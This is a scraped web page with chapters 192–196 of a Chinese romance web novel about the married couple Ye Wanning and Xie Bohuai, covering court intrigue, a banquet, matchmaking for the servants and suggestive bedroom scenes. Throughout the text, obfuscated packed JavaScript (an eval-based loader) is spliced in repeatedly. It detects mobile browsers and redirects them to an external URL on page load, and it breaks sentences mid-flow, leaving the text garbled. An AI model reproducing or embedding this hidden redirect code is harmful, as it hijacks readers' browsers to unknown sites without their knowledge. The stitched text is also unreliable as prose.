35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170540|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“真放下了?” “是啊,我娘以前就和我说,做女人不能太心软,挑男人一定要挑对自己上心的。能两情相悦最好,不能的话,就挑条件最好,对自己最好的。没了个青山,也还有许多男人,我现在可不想嫁人,等我弟弟出息了,不怕没人娶我。”春喜是真的不在意了,她不是拿不起放不下的人。 听春喜这么说,云芝放心了,“那就好,不过你也可以让夫人帮你找找,反正夫人都找了媒婆。” “不急,云芝姐姐你都没嫁人,我不着急呢。”春喜说着打趣起云芝来,“说起来,我见折竹每次见你,都会多看你两眼。与其便宜了外人,不如云芝姐姐你考虑一下?” “你个小丫头,我真心实意为你考虑以后的事,你怎么打趣起我来?”云芝瞪了春喜一眼。 春喜却笑呵呵地靠了过去,“我说真的嘛,姐姐你长得好,又能干,夫人和我都喜欢你。我看折竹也不错,是个踏实的,比青山好一万倍,要是你有想法,这个事肯定能成。” “死丫头,你再说,信不信我掐你了?”云芝作势要掐春喜,春喜笑着躲开,两个人完蛋了一会,才去歇下。 这会时辰不早了,另一边的叶婉宁也和谢泊淮躺下。 他们之间,还是隔了一层被褥,叶婉宁已经有了睡意,刚翻了个身,就听到谢泊淮突然喊她名字。 “婉宁。” “嗯?”叶婉宁没睁眼。 “我……我能抱抱你吗?” 第192章 周家宴席 嗯? 叶婉宁还没反应过来,一只大手就揽在她的腰上,男人身子滚烫,让人忍不住出汗。 “我就抱抱。谢泊淮的下巴搭在叶婉宁的肩上,“睡吧,明日我还要上朝去。 头一回这么被人抱着,叶婉宁哪里睡得着。 可是让她推开吧,又觉得不应该推。 两个人就这么挨着,不知过了多久,叶婉宁迷迷糊糊中有了困意,才渐渐睡去。 黑暗中,谢泊淮缓缓睁眼,她说两情相悦,她没有推开他,她在他的怀里睡着了。 薄唇不受控制地上扬,谢泊淮心里跟吃了蜜一样甜。 次日叶婉宁醒来时,谢泊淮已经走了,但叶婉宁还能感受到谢泊淮留下的气息。 等云芝进来时,都觉得主子脸红得很,“您是不是发热了? “没,是天太热了。叶婉宁正在洗漱时,羲和公主带着乐哥儿进来,两个人已经熟悉了,乐哥儿黏着羲和公主说要干嘛干嘛。 用过早膳,一行人出门去了。 天气热,不好去些热闹的地方,羲和公主让人准备了凉茶冰饮,到城外的庄子里。 她和叶婉宁坐在凉亭里吹风,乐哥儿则是和人捞鱼。 “母亲,姨母,我捞到啦!乐哥儿欢喜地跑来,他满头大汗,“中午我们烤来吃,好不好? 叶婉宁说都行,乐哥儿又风风火火地跑了。 在庄子里待了两日,直到宫里来了人,羲和公主才不情不愿地回宫去。 叶婉宁也带着乐哥儿回城,刚到家,她收到了周夫人的帖子。想到是周尚书的夫人,叶婉宁能猜到是怎么回事,便应了下来。 次日一早,周夫人带着谢礼上门。 周夫人一进门,就看到姿态端正的叶婉宁,不留痕迹地打量完,才道,“本来该早点来,但听说公主在府上,才推到今儿来。这次过来,是替我家老爷道谢,若是没有谢大人,我家老爷已经见阎王去了。 说着,周夫人看了眼门外,这时周尚书才进来。 得知谢泊淮不在,周尚书明显松了一口气,坐着时自在了许多。 “您能来,便是心意了。 周夫人见叶婉宁处变不惊,心里不由高看一些,可见外边传言做不得真,得眼见为实,“救命之恩,自然是要来的,不知道谢大人去哪呢? 这个时辰,也该下朝了。 “他平日忙得很,没那么早回来。两位要是想见我家大人,得多等一会儿。不过也没 事,留下来用个饭吧?叶婉宁道。 周尚书想说不用了,他真的怕见到谢泊淮,但周夫人先说了好,他只能跟着留下。 过了正午,乐哥儿先回来了,看到家中有客人,乐哥儿立马拘谨起来。 周尚书本就无聊,瞧见乐哥儿,便拉着乐哥儿问都读了什么书,听乐哥儿回答后,便开始考乐哥儿。 乐哥儿眉头越皱越紧,“老先生,您是新来的先生吗? “不是。 “那您为何问这么多?乐哥儿很是不理解,他与眼前的老先生并不认识。 周尚书被噎了一下,觉得谢泊淮的儿子也没意思,和谢泊淮一样不讨人喜欢。 周夫人却很喜欢,拉着乐哥儿问几岁,喜欢干什么,“这孩子真乖,才四岁就读那么多书,可真厉害。 “老夫人,我以后会更厉害的。 话音刚落,周尚书哼了句“吹牛皮 周夫人表明来意,再去看她夫君。 周尚书和谢泊淮行礼道谢,“此次去淮州,多谢相救,这个人情,是我周家欠你们的。日后有什么需要,可以与我说。 人家来道谢,谢泊淮没再嘲讽,而是说了句好。 等周家两口子要走时,周夫人发出邀请,“过几日是我家孙儿成亲,若是你们肯赏脸喝杯酒,那是最好的。 请人做客,日后便是要来往,谁能想到,去淮州之前,周尚书可是最讨厌谢泊淮的。 叶婉宁去看谢泊淮,等谢泊淮应下来,再一块送人离开。 “周尚书这人,没什么意思,但他名声不错,能上他家赴宴,对于我们,也是一个新开始。谢泊淮解释道。 叶婉宁说明白,“你在朝中不容易,现在不是先帝在的时候,你需要有交好的官员。周尚书刚正不阿,是个可以来往的人。 “还是婉宁你懂我。谢泊淮笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170541|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴了过去,奈何乐哥儿跑来说饿了,他只能抱着儿子去吃东西。 这边周尚书离开后,好些人都知道了,有与周家交好的,都去打听怎么回事。 但周家人嘴巴严,没人多说什么,只说请了谢泊淮夫妇来赴宴。 旁人听周家都和谢泊淮交好,有些人动了动心思,打算在宴席上和谢泊淮说个两句话。 到了赴宴那日,谢泊淮一早带着叶婉宁出门去,两个人上马车一会儿,遇到了谢泊铭的马车。 赶车的折竹说了一句,提醒谢泊铭可能也是去周家的 。 叶婉宁问怎么办。 “他去他的,我们去我们的,并不矛盾。”谢泊淮没在意这个事。 等到了周家,男女是分开的,谢泊铭果然先到了,有些人围着他说话,正好谢泊淮进来,大家都好奇地看这两兄弟。 不少人交头接耳地说话。 “你说谢泊淮也真是的,好歹是亲爹,怎么能说不认就不认,他太过分了一些。” “谁说不是,自古以来都是百善孝为先,没有孝道,谢泊淮也不会是个好人。我看周尚书是被谢泊淮蒙蔽了双眼,这才请了谢泊淮来。” “那也不一定,周尚书是什么人,你们难道不清楚吗?” 周尚书最天面无私,就算是先帝在世那会,他看谢泊淮不爽,都会当面直接说,更别说现在了。 大家伙心里很多疑惑,但面上都不显露。 另一边,叶婉宁那也差不多情况,今儿纯王妃也来了,她趁着叶婉宁身边没人时,又凑了过来。 “你别在意那些人的话,谢大人会和谢家断亲,肯定有谢大人的理由。他们是嫉妒谢大人的才干,找不到其他东西说,才一直拿孝道说事。天底下不好的爹娘多得是,咱们做子女的,很多时候并不容易。” 听到这里,叶婉宁觉得还算顺耳,奈何纯王妃习惯了哭诉。 “你就比我命好多了,有个能护着你的谢大人,你是不知道啊,我家王爷身份尴尬,每次进宫去,我都不知道该怎么自处。说起来,咱们还是有很多一样的情况,你说是吧?”纯王妃看着叶婉宁,很想从叶婉宁这里得到认同。 第193章 初吻 叶婉宁呢,每次见到纯王妃,心里都不太喜欢,因为纯王妃总是在抱怨,而且刻意的接近,就让人不太舒服。 她说自己比不了纯王妃,“王妃娘娘身份尊贵,京城里没几个人能比。咱们是来做客的,您快尝尝周家的果酿,很是不错。” 说话间,又有其他人过来了,叶婉宁借着这个机会,和旁人说话去。 纯王妃见叶婉宁次次都不搭话,心里恼得很,等会去时,对着纯王抱怨,“那个叶婉宁,每次都对我爱搭不理,我对怎么讨好都没用。说起来,我可是王妃,她只是个二品诰命。咱们要不算了吧,朝堂上那么多大臣,又不是非要拉拢谢泊淮一个?” “你懂什么?”纯王哼了哼,“以前先帝在的时候,朝政就把控在谢泊淮手中。如今谢泊淮看着放手了,实际上,兵权、钱,都还是谢泊淮的人。” “怎么会呢,户部大人不是没和谢泊淮来往?”纯王妃不理解。 “你看着不来往,实际上的事谁知道?”纯王深吸一口气,“我并不是非要和太子争,只是寻求一个自保的出路。如果给太子机会,他肯定不会对我们心慈手软,但我们手里有权势,那就不一样了。你忍一忍,谢泊淮这个人不好相处,但也不是完全没有破绽。” 说到太子,纯王妃也是不喜的。 以前皇上还是王爷时,纯王夫妇在王府里很是低调,尽管如此,当时还是世子的太子,还是会偶尔敲打他们,告诫他们不要有多余的心思。 人嘛,就是活一口气。 从皇上登基后,纯王不再是王府普通的庶出儿子,而是成了万人尊敬的王爷。 以前太子就看不上他,现在他就想靠自己的本事,让太子知道,不能轻易动他。 而谢泊淮,就是个最好的选择。 纯王妃说知道了,“叶婉宁有个儿子,也到了差不多读书的年纪,不如让她儿子与咱家孩子一块读书,说不定关系更好?” “这倒是个办法,太子还没有儿子,让父皇下旨意,钦点几个高官家孩子进宫当伴读。如今宫里,和叶婉宁儿子年纪相仿的孩子,并不多,倒是个好机会。”纯王心里这么想,回去后,就让人去给皇上提建议。 另一边,叶婉宁夫妇赴宴归家,半路上谢泊淮要了一碗馄饨。 他知道叶婉宁不会吃饱,“趁热吃。” “你要不要?”叶婉宁刚问完,就看到谢泊淮伸过头来,张开了嘴等她喂。她想换一个勺,谢泊淮却拉住她的手腕,就着她刚吃过的勺吃了一口馄饨。 这一下,叶婉宁都不敢去看谢泊淮了。 谢泊淮却认真评价起来,“这家馄饨肉馅紧实,以前青山买过,我才知道好吃。” 叶婉宁只能“嗯嗯”回话,默默地吃着馄饨。 回到谢府,乐哥儿已经睡了,春喜过来,说白日里姚媒婆来过,但是看您不在,先回去了,“她还问,咱家隔壁的余先生有没有成亲。” “她想帮余先生说媒?”叶婉宁问。 “说有人看上余先生,想通过我们问一下。我说不清楚,得等您回来才知道。”春喜到了京城后,懂得边界感,不该多说的话,她就不说。 叶婉宁都没关注过这个事,问了谢泊淮后,才知道余先生是个鳏夫。 “他有成亲过,但是他原配命不好,没多久就走了,也没留下孩子。”谢泊淮想了想,“说起来,余先生的家世也还可以,算是当地的名门望族。加上他自己有才学,嫁给他也还可以,就是余先生脾气倔,并不好相处。但学会拿捏他之后,就很简单。” “那你怎么拿捏他?” “他自诩读书人,君子一言驷马难追,只要诱着他许下承诺,就一定会完成。”谢泊淮坏坏地笑了起来。 烛光下,谢泊淮的脸很是好看,平常冷冽的五官都柔和了。 他端着茶坐到软榻边上,见叶婉宁在看账册,头凑了过去,“这些是什么?” “是我嫁妆里的田产和铺子,府上的开支并不大,但你要支出的太多。本来我没想多管铺子的事,现在看看,能不能多挣一些银两。”叶婉宁道。 “挣钱的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170542|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不如交给二哥,让他帮忙经营。其实二哥生意做得很好,要不是前两年为了低调点,他现在肯定生意做更大了。咱们把铺子交给他,给他抽红利,你还能轻松点。”谢泊淮说话时,能嗅到叶婉宁身上淡淡的女儿香,喉结不由自主地动了动。 叶婉宁也是这样想的,所以才要清点一番,“其实家中给的嫁妆就很丰厚,但不好坐吃山空,有二哥帮忙,确实省心省力。对了,今儿我在宴席上听说了一件事,皇上可能会挑一些官宦子弟进宫伴读,你是怎么想的?” 挑选伴读,说得好听是和皇子公主当青梅竹马,说不定以后能更进一步。 但如今皇上手中能用的人不多,对很多人又信任不了,把人孩子弄进宫里,算是半个人质。 谢泊淮:“乐哥儿还小,就算皇上有这个想法,也得过两年再说。若是皇上提起来,我会推脱个两年。真到了两年后,乐哥儿也懂事了,进宫也不怕被欺负。” “皇上能同意吗?” “不同意也得同意,他得靠着我去收拾那些不安分的人,这点甜头都不给,那我当甩手掌柜好了,让他自个儿去管那些人。他的皇位来得突然,想要坐稳,并不容易。还想要个好名声,更不容易了。”谢泊淮说着笑了起来,“其实皇上聪明得很,他嘴上说着有我和太子就好,其实就是让我们出面做得罪人的事,他最后收个好名声。又对纯王等人的野心坐视不管,是想纯王几个渐渐掌权,再出手。这么一来,皇权都掌控到他手里,他是名声有了,实权也有。” 叶婉宁:“那真的等到那一天,你的后路呢?” “车到山前必有路,皇上要做仁君,就不可能对我们赶尽杀绝,不然我就让他遗臭万年。”说到这个,谢泊淮眼中闪过一抹厉色。 天色不早了,他借着夜色,大胆地靠了过去,一只手搭在叶婉宁的肩上,“好了,再看伤眼睛,明儿再看。” 他替叶婉宁收好账册,还没等叶婉宁穿鞋,突然凑过头去,飞快地在叶婉宁红唇上,蜻蜓点水地啄了一下。 一瞬间,叶婉宁面若桃花,红得 第194章 两道交缠的影子 “谢……呜……” 叶婉宁刚开口又被谢泊淮吻了下。 这次是绵长带着满腔情意热烈而缠绵的吻。 屋内烛光昏暗映着两道交缠的影子谢泊淮轻声问了句“可以吗?” “你……” 到了这会叶婉宁也知道谢泊淮想干什么了她不是懵懂无知的少女当初选择嫁给谢泊淮虽然只想相敬如宾。但日子是自己在过同床共枕的这些日日夜夜人非草木岂能无情? 面对谢泊淮的追问还没等叶婉宁作出回答就被人打横抱了起来低声发出惊呼“谢泊淮!” “我在!” 谢泊淮把叶婉宁的没拒绝当成了默许既然这样就该到了他主动的时候。 长久以来的憋忍在这个时候蓄势待发。 纱帘狂摇像是疾风吹过红木的雕花床发出轻微的“吱吱”声响。 等真有风吹开了木窗烛台上的火苗跳动得厉害随着风儿忽高忽低加快了燃油。 等蜡烛燃烧殆尽屋内只有窗口的点点月光隐约还能看见纱帘的摆动。 今晚的夜色极尽缠绵。 次日天大亮时叶婉宁才迟迟醒来。 云芝已经来喊过两次奈何主子都没声响听到一声低吟赶忙过来卷起纱帘“大人走的时候特意交代了要给您炖一些补……哎呀您这是……” 云芝都不敢多看主子的胳膊、脖颈、耳垂尖上……都是星星点点的红印子不用想都知道昨晚发生了什么。 这也太……多了。 叶婉宁被云芝的惊呼吓到低头才看到身上有许多红印脑海中回荡起昨晚的缠绵一时间都不好意思去看云芝小声道“你去准备一些热水。” “好……我这就去。”云芝匆匆忙忙去了厨房唇角不受控制地上扬主子和大人恩爱是好事既然主子嫁过来日子还是相亲相爱的好。 等云芝提着热水回来叶婉宁泡在木桶中热气让身上的绒毛舒展开她还记得谢泊淮身上的味道。 那是汗水糅合皂荚的特殊味道强烈而持久让人不由地深吸一口气。 怎么谢泊淮突然就做了这种事? 其实不做才是不正常年轻男女躺在一块又是正经夫妻哪里有只睡觉的道理。 但事情来得突然 叶婉宁把头埋进水中她现在浑浑噩噩已经是迷糊状态清醒不了了。 而此时的谢泊淮心情很是不错下了朝并不急着去处理公务而是准备归家。 昨儿开了荤 不过总有不识趣的人要凑过来纯王小跑追上他“谢大人你这是要去官衙吗?” “不是。” “那是去哪?要不要我送你一程?”纯王很是热情。 谢泊淮却觉得纯王烦得很“不劳烦王爷微臣自己能去也有自己的马。” “没事的正好我有些事想和你讨论。自从父皇登基我有好多事力不从心不知道怎么处理想来只有你最有经验才厚颜家讨教。”纯王并不想错过机会。 谢泊淮这会是非常想回家他没了耐心正准备说话时周尚书又带着几个人来了。 “淮州那送来了一些供词和账册你与我们一块去看看。”周尚书一心只有公务在家休息半天就惦记着淮州的事。 谢泊淮看着这些围上来的人直接道“有什么事周尚书你自己做决定就好。你都入官场几十年了该怎么处置又不需要我来提点。都让让我急着呢。” 周尚书不理解地看过去“你着急什么?咱们作为朝廷命官不就该为国为民做奉献你不能走就算有再大的事都得跟我把事情处理完了。” 周尚书想去拉人但他一个老头手刚伸过去就被谢泊淮躲开了。 谢泊淮可不管谁来喊他从皇上登基后他便渐渐放手朝廷的事让皇上和他的人去处理。 只有他们遇到了难处到了解决不了的时候才会想到他以前有多不容易。 又不是他的天下现在他可不是以前的他他得快些归家去媳妇孩子正等着他呢。 甩开周尚书这些人谢泊淮快马加鞭回了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170543|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家刚进院子就听到姚媒婆嘹亮的嗓门。 “我呢是按照夫人的意思去找的司大人有官职所以愿意的人还是有一些。这家姓吴家里祖上也出过读书人后来遇到一些情况不得不从商现在家中经营一个小酒楼生意还不错。他们家有个最小的闺女今年十六了正是花骨朵一样的年纪。”姚媒婆说清楚对方的家底又说了另外几家人是说给折竹和青山的。 叶婉宁听了听吴家条件倒是不错但是其他的便不太行甚至还有二嫁的。 在她追问下姚媒婆才讪讪道“并不是折竹小哥他们不好是普通百姓听到谢大人的名号多少有些顾忌。要我说啊他们就是不识货 没有见到真人,以为我介绍的是一些歪瓜裂枣。” 想攀龙附凤的人有,但此番相看,是谢府下人,并不是谢泊淮的朋友或者弟兄。在普通人家看来,谢泊淮的人不缺媳妇,却要找他们家的女儿,怕不是有什么问题。到时候带着女儿去相看,哪里有他们说不的权利? 若是谢泊淮下令强娶,满京城的,谁敢拒绝? 与其相看不满意,被逼着嫁女儿,倒不如不去相看。 谁也不相信,谢泊淮有馅饼给他们吃。 叶婉宁听明白了,“那就安排司砚先去相看,等我找了画师,给折竹他们画了画像,你再带去给他们看。” “好的好的,还是夫人您会做人,能跟着您办事,那是一顶一的命好。”姚媒婆说完了,起身往外走时,遇到了谢泊淮进来。 就算不是第一次见,姚媒婆也不由心里颤了颤,谢夫人是个好说话的,但谢大人面向凶得很。方才她说的话,不会被谢大人听了去吧? 心里不安起来,出去时,姚媒婆差点撞到门槛,还好门外的丫鬟扶着她,赶忙加快步子,心里想着快点办完谢夫人吩咐的差事,以后还是少来谢家。 叶婉宁看到谢泊淮回来,便想到昨晚的情景,不敢去看谢泊淮的眼睛,端着茶试图掩盖自己的心慌,“大人今儿怎么回来得那么早?” 第195章 谢泊淮在舔她! “府衙里就那些事,缺了我一个,也不太重要。”谢泊淮脱了朝服,由云芝拿去挂着,他卷起袖子,露出上面的牙印。 云芝只看了一眼,识趣地退了出去,看到折竹打算进去,把人喊住了,“你若是没什么着急的事,还是待会再进去。” “怎么了?”折竹问。 “大人现在心情好,你我进去就把气氛搅和没了。”云芝只能说到这里。 折竹愣了下,随后明白怎么回事,道了句谢,站到了长廊下。 云芝也退到太阳底下,“今日司砚去相看了?” “嗯,姚媒婆带着他去了。”折竹听说没找到他合适的,心里突然松了口气。他没像司砚一样着急成亲,也没和青山那样木讷,想着有也可以,没有也没事。他这辈子,都会跟在大人身边,并没有想升官发财的事。 “真是好奇,会不会成。”云芝道。 其实谢泊淮身边的人很少,还是叶婉宁要嫁过来,谢泊淮才多添置了一些人,但比起高门大户,还是少了很多。之前府里上上下下也就十几个人,还是叶婉宁嫁过来后,带了一些陪嫁的。 “你很关心司砚?” “我是纯好奇,我希望主子好,谢府的每个人都好。” “那你自己呢?” “我能跟着夫人,就是最好的事了。”云芝打小就跟着主子,从小到大,风里来雨里去,她已经习惯了照顾主子。 这一点,倒是和折竹一样。 两个人站在长廊下,不会离屋子太远,主子有个什么事唤他们,他们也能听到。 此时屋里的谢泊淮,不怕热地挨着叶婉宁坐。 “今儿还好吗,有没有哪里不舒服?” “没……没有。” 叶婉宁挪了一点位置,谢泊淮就跟着挪。 “大人,您不热吗?”叶婉宁有些没耐心了,“都快正午了,您自个儿坐着多凉快。” “会热吗?我不会的,你要是热的话,让人买一些冰回来。”谢泊淮说着就喊人去买冰,叶婉宁拦着都没用。 折竹听了主子的吩咐去买冰,叶婉宁有些无语,以前只知道谢泊淮狠辣,不曾想那么粘人。 “婉宁,你别喊我大人了。”他觉得喊大人生分,“喊我泊淮,子谦都可以。咱们是夫妻,真正的夫妻了,你我之间,应该是最亲密无间的。” 叶婉宁习惯了喊大人,让她这会儿改称呼,嘴上很变扭,“大人,您今儿怎么回事?” “我又没变,我还是我。”谢泊 淮死皮赖脸地缠着叶婉宁,就是不肯挪开。 叶婉宁没办法,只能任由谢泊淮挨着,只是炎炎夏日,谢泊淮的身子本就热得很,更别说现在是一天最热的时候。 很快,叶婉宁就出了汗,她能嗅到谢泊淮身上的味道,倒是不难闻,就是谢泊淮的喘息声,为何越来越重了? “大人,您……” “婉宁,我说了别喊我大人。” 感受到不安分的手伸进了里衣,叶婉宁赶紧制止,“别这样,还是白天呢。” “那你别喊我大人。” “子……子谦,可以了吧?” “你再多唤两句,我喜欢你喊我名字。” 浓厚的气息扑在叶婉宁的耳垂上,撩拨起她的发丝。 谢泊淮现在就是刚开荤的猛兽,就没有吃饱的时候。 叶婉宁怕谢泊淮真的做什么,只能听话喊了几句子谦,结果谢泊淮更兴奋,当脖颈上多了湿漉漉的触感,她才反应过来,是谢泊淮在舔她! “你说话不算话!” “是,我说话不算话,那你惩罚我吧。婉宁,你可以打我,咬我,只要你喜欢,留下什么样的印记也可以。但你疼疼我,求……求你了。” 一声求字,带着发颤的尾音。 谢泊淮现在不需要尊严,更不要男人的脸面,他喜欢叶婉宁,就想和叶婉宁待在一起。反正旁人看不到,更管不着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170544|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他谢泊淮从来都是野马,除了叶婉宁,谁也驯服不了他。 门窗还没关,叶婉宁就怕有人突然进来,但她被谢泊淮按着,软成一潭池水,呜呜咽咽地艰难发出声音,“关……关门。” 听到这话,谢泊淮欣喜抬头,说了个好字,飞闪去关了门。 没了风吹进来,他们香汗淋漓,叶婉宁被谢泊淮抱在桌上,唇齿不得停歇,只能大口喘息,快要溺死在谢泊淮狂热的吻中。 不知过了多久,当门外传来乐哥儿的敲门声,叶婉宁才发觉天快黑了,但她浑身没了力气,发了狠地咬在谢泊淮的肩头。 谢泊淮却笑得畅快,隔着门道,“春喜,你带着乐哥儿去用饭,今日不用再过来了。” 门外的乐哥儿有些不愿意,“可是孩儿清晨与母亲说了,要一块用晚膳。父亲,您与母亲在干嘛呢?”他很好奇,父亲连门都不开,两个人是瞒着他吃什么好吃的吗? 春喜同样没明白屋里有什么事,还是云芝过来哄道,“夫人累了,已经歇下。乐哥儿最心疼夫人的,你乖乖的,我带你去吃好吃的,明儿再来陪夫人用膳好不好?” 乐哥儿还想问为什么要等明天,但云芝姐姐已经牵着他的手,只好一步三回头地跟着走了。 云芝给春喜使了个眼色,春喜才反应过来屋里什么情况,羞得脸颊通红,心想大人也太急色了,大白天的就等不及。 这时遇到了青山,他得知大人在屋里,准备去敲门,被折竹给拉住了。 “我……呜呜……”青山刚开了口,就被折竹捂住嘴拖走,生怕青山说点乐哥儿不能听的话出来。 而屋里的叶婉宁快要羞死了,“都怪你,现在他们肯定都知道了。” “知道就知道,咱们是夫妻,这不是很正常?”谢泊淮又贴了过去。 “可……” 叶婉宁怕被说当主子的不正经,奈何谢泊淮又亲了过来,还……还拉着她的手…… “婉宁,帮帮我。” 第196章 自学成才 有道是旱的旱死涝的涝死。 叶婉宁不知谢泊淮从哪里学来的让她摸了这又碰了那。 一夜的荒唐等她次日醒来都快正午了。 云芝来看了好几遍见主子醒来小声道“您该劝着点大人哪里有人这样折腾的。我是希望你们恩爱可您瞧瞧您身上都是印子。” “确实今儿不能再让他来了。”叶婉宁累得不想下床问了时辰后更加打定主意“今儿府里有什么事吗?” “没什么事就是司砚来回话说吴家还可以等他查查底细。应该是看对眼了也就是走个过场。”云芝道。 “挺好的 夜里谢泊淮回来了叶婉宁是不让他碰了“大人也该节制一些您受得了我也吃不消。” 谢泊淮苦着脸“我这不是得把以前的补回来。” “以前的?” “是啊你我成亲那么久前儿个才圆房。空了那么久的日子我不得要点利钱?”说着谢泊淮已经搂着叶婉宁的纤腰“不过今儿就先睡吧不然明日你要更迟起来了。” 叶婉宁掐了谢泊淮一把觉得这人越来越无赖“您是跟谁学的这些?” “不用学让我挨着你我能无师自通。”谢泊淮拍了拍叶婉宁的手“快睡吧。南边来了消息陆丰年赢了成王当场被诛杀。皇上解决了一个心腹大患以后咱们得警醒一些。” 没了成王这个造反的下一步皇上就是清扫朝堂。 谁能用谁有异心他要抬举他的人有些人就要给他们让位。 谢泊淮这个摄政王是越来越不管事看着他们去争只要不来抢他的权就可以。 叶婉宁想到了成王妃“那你侄女以后会怎么样?” “送到一个庙里终老一生。”谢泊淮说这已经是谢令娴最好的结局。 叶婉宁想了想确实是这样。 她只是随口一问并不是真的关心谢令娴。等陆丰年班师回朝时皇上按照谢泊淮说的一样让谢令娴去了城外的庙里修行。 经历了几场战事国库空虚皇上连着处置了几个贪官镇府司的人忙得像陀螺。新上任的指挥使邱知珩名声大噪还有赵川也被重用。 “皇上用的都是一些没有家世背景朝堂上也没其他倚仗的人。这样的人最好用因为他们想要站稳脚跟一展抱负就只 能依附皇权。”叶婉宁一边看账册,一边和谢泊淮道。 谢泊淮刚回来一会儿,他有心不管朝堂上的事,但最近也很忙,“是,皇上是个有脑子的。之前当王爷的时候,知道避开锋芒,养精蓄锐。加上太子这个爱劳心劳力的人,如今朝廷内外,说好的更多。” “其实这样也好,只要你好好的,皇上和太子怎么样,都可以。”叶婉宁道。 听着叶婉宁的关心,谢泊淮很受用,“你听说羲和公主的婚事没?” “定下了?” “还没有,但八九不离十了。太子娶的是皇后侄女,都是曹家的人,起不到联姻的作用。曹家本就是一般的世家,就算皇上一直在抬举他们家,也没见出个厉害的人。现在刚打完战,国库又空虚,正是最需要钱的时候,皇上可能会把公主嫁到皇商家中。”谢泊淮分析道。 士农工商,就算是皇商,地位也配不上公主。 叶婉宁听得眉头紧皱,“皇后娘娘不是在挑么,怎么皇上又插手了?” “皇子公主的婚事,本就是利益为主。皇后再疼爱羲和公主都没用,对于皇上和太子而言,他们再不筹集到钱,好多地方就要闹起来了。”谢泊淮近来,和叶婉宁说话都没藏着掖着,有什么就说什么。 叶婉宁有好一阵子没见到羲和公主,也不知道羲和公主怎么样了。 此时的羲和公主,正在坤宁宫里哭,“我不嫁,说什么都不嫁。那两个人,一个胖得像冬瓜,一个矮得像陀螺,没有一个好的。母后,您不是说了,要替我好好挑一个,一定是我满意的,怎么父皇缺钱了,您就和父皇一起卖女儿?” “放肆!” 皇后眉头紧皱,“平日里本宫就是太疼你了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170545|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你才会说出这种胆大包天的话。羲和,若不是本宫拦着,你父皇已经赐婚了,哪里会让你来挑选。” “有什么好挑的,两个都是歪瓜裂枣,我才不要嫁给他们。”羲和公主擦了眼泪,“要我嫁给他们,我宁愿去当尼姑!” 皇后听得着急上火,但她确实说过,要让女儿好好挑一个,这会头疼得很,听到太子来了,只好先去见儿子。 太子得知妹妹还是不肯点头,叹气道,“羲和是性子骄纵了一些,让我去和她说说。” “哎,你别和她来硬的,这事是母后对不住她,你好好劝一劝。”皇后知道这是没得办法的事,想让人真心实意地替皇家办事,他们就得拿出诚意来。皇商的人不能入朝为官,想要提升地位,娶公主就是最好的选择。 为了这事,皇后和皇上商讨了许久,才狠下心来找女儿。 